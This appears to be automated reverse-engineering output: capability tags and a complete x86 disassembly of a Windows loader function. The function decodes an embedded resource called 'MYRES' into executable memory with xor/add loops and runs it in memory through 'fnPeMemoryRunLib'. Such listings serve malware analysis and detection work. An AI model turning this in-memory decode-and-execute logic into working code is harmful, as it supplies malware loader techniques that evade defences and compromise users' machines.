Function at 0x4017e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
push 0
call fcn.00401070
test eax, eax
jne 0x401a8d
call fcn.00401120
mov dword [ebp - 0x2c], 1
push 0x563e54
push 0x563e64
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.MYRES
push 0x9c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
push 0x563e7c
push 0x563e8c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
push 0x563e9c
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x3c], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004f83c0
add esp, 0xc
mov cl, byte [ebp - 0x24]
mov byte [ebp - 0x2d], cl
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x44], 0
jmp 0x4018ea
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jae 0x401904
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x44]
movsx edx, byte [ecx]
movzx eax, byte [ebp - 0x2d]
add eax, edx
mov byte [ebp - 0x2d], al
jmp 0x4018e1
mov dword [ebp - 0x48], 0
jmp 0x401916
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x24]
jae 0x4019a5
mov eax, dword [ebp - 0x48]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x401949
movsx edx, byte [ebp - 0x48]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x48]
mov byte [edx], cl
mov eax, dword [ebp - 0x48]
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
jne 0x401970
movsx edx, byte [ebp - 0x48]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
add ecx, edx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x48]
mov byte [edx], cl
movzx eax, byte [ebp - 0x2d]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
mov byte [eax], dl
mov cl, byte [ebp - 0x2d]
add cl, 1
mov byte [ebp - 0x2d], cl
movzx edx, byte [ebp - 0x2d]
cmp edx, 0xff
jl 0x4019a0
mov byte [ebp - 0x2d], 0
jmp 0x40190d
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax + 6]
cmp ecx, 0xf
jge 0x401a3f
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx + 6]
and eax, 0x80000001
jns 0x4019c8
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x401a3f
mov dword [ebp - 0x4c], 0
jmp 0x4019de
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x24]
jae 0x401a2a
cmp dword [ebp - 0x4c], 5
je 0x4019f2
cmp dword [ebp - 0x4c], 6
jne 0x4019f4
jmp 0x4019d5
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax + 6]
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x4c]
mov byte [ecx], al
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx + 5]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x4c]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x4c]
mov byte [eax], dl
jmp 0x4019d5
mov ecx, dword [ebp - 0xc]
mov byte [ecx + 5], 0
mov edx, dword [ebp - 0xc]
mov byte [edx + 6], 0
mov eax, dword [ebp - 0xc]
mov byte [eax + 7], 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004026e0
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], eax
push str.fnPeMemoryRunLib
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00402ab0
mov dword [ebp - 8], eax
push dword [ebp - 0x24]
push dword [ebp - 0xc]
push dword [ebp - 0x20]
call dword [ebp - 8]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov esp, ebp
pop ebp
ret